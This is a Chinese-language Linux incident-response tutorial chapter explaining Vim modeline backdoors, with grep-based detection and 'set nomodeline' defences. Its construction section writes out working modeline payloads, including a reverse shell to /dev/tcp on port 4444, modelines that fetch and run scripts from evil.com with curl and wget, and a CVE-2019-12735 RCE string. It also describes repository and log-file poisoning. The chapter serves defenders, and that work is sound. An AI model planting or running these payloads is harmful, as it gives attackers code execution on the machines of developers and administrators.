Linux应急响应 - 24 Vim-Modeline后门

Vim Modeline 后门 — 打开文件即执行命令

利用 Vim 编辑器的 modeline 功能,在文件中嵌入可执行的 Vim 命令

关联:06-文件系统取证 | 18-Bashrc与Profile后门

Modeline 原理

什么是 Modeline

Vim 的 modeline 功能允许在文件的前几行或后几行设置 Vim 选项

当用户用 Vim 打开文件时,这些设置会自动生效

1
// vim: set tabstop=4 shiftwidth=4 expandtab:

这本来是为了让不同文件使用不同的编辑设置

安全风险

modeline 中可以使用 foldmethod=exprfoldexpr 来执行任意 Vim 表达式

Vim 表达式可以调用 system()execute() 执行 shell 命令

某些 Vim 版本的 modeline 默认启用(set modeline 是默认值)

受影响版本

Vim < 8.1.1365(CVE-2019-12735)修复了部分利用

但某些发行版可能仍默认启用 modeline

Neovim 同样受影响

后门构造

基本形式

1
// vim: set foldmethod=expr foldexpr=execute('!bash\ -i\ >&\ /dev/tcp/10.10.14.33/4444\ 0>&1') :

常见变体

嵌入到各种文件类型中

1
2
3
4
# Python 文件
# vim: set foldmethod=expr foldexpr=execute('\!id>>/tmp/pwned') :
def hello():
print("hello world")
1
2
3
4
/* C 文件 */
/* vim: set foldmethod=expr foldexpr=execute('\!curl\ http://evil.com/shell.sh|bash') : */
#include <stdio.h>
int main() { return 0; }
1
2
3
4
# YAML/配置文件
# vim: set foldmethod=expr foldexpr=execute('\!wget\ -q\ http://evil.com/b\ -O/tmp/.b;bash\ /tmp/.b') :
server:
port: 8080

在文件末尾(更隐蔽)

modeline 在文件的最后 N 行也生效(N 由 modelines 选项控制,默认 5)

1
2
3
4
... 正常文件内容 ...


// vim: set foldmethod=expr foldexpr=execute('\!bash\ /tmp/.update') :

CVE-2019-12735 利用

1
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%telestrings"):fdl=0:fdt="

这个 payload 利用 assert_fails + source 实现 RCE

攻击场景

场景1:代码仓库投毒

攻击者在开源项目中提交包含 modeline 后门的文件

其他开发者 clone 并用 vim 打开时中招

场景2:配置文件陷阱

在服务器上修改常被查看的配置文件(如 nginx.conf, sshd_config)

安全人员用 vim 查看时触发

场景3:日志文件陷阱

在日志文件中注入 modeline(通过构造特殊的 HTTP 请求等)

管理员用 vim 查看日志时触发

检测方法

搜索 Modeline 模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 搜索所有文件中的 modeline 模式
grep -rn "vim:.*set.*foldmethod=expr\|vim:.*fde=\|vim:.*fdm=expr\|vim:.*foldexpr=" \
/etc/ /var/www/ /opt/ /home/ /root/ /tmp/ \
2>/dev/null

# 搜索包含 execute/system 的 modeline
grep -rn "vim:.*execute\|vim:.*system\|vim:.*assert_fails\|vim:.*source" \
/etc/ /var/www/ /opt/ /home/ /root/ \
2>/dev/null

# 搜索文件前5行和后5行的 modeline
find /var/www /opt /home -type f -name "*.py" -o -name "*.js" -o -name "*.c" \
-o -name "*.conf" -o -name "*.yml" -o -name "*.yaml" | \
while read f; do
head -5 "$f" 2>/dev/null | grep -l "vim:.*foldmethod" && echo "HEAD: $f"
tail -5 "$f" 2>/dev/null | grep -l "vim:.*foldmethod" && echo "TAIL: $f"
done 2>/dev/null

检查 Vim 配置

1
2
3
4
5
# 检查 modeline 是否启用
vim -c 'set modeline?' -c 'q' 2>/dev/null

# 检查 vimrc 配置
grep -n "modeline\|nomodeline" /etc/vim/vimrc ~/.vimrc 2>/dev/null

防御措施

1
2
3
4
5
# 在 /etc/vim/vimrc 或 ~/.vimrc 中禁用 modeline
echo "set nomodeline" >> /etc/vim/vimrc

# 或设置安全模式
echo "set secure" >> /etc/vim/vimrc

使用 vim -u NONEvim --noplugin 以安全模式打开可疑文件

使用 catless 查看不信任的文件(不触发 modeline)

及时更新 Vim 到最新版本

实战练习

配套实验:labs/17-persistence-misc/

在实验环境中找到包含 Vim modeline 后门的文件

验证 modeline 是否真的会执行(在安全环境中)


上一章 目录 下一章
23-Alias后门 Linux应急响应 25-SSH软链接后门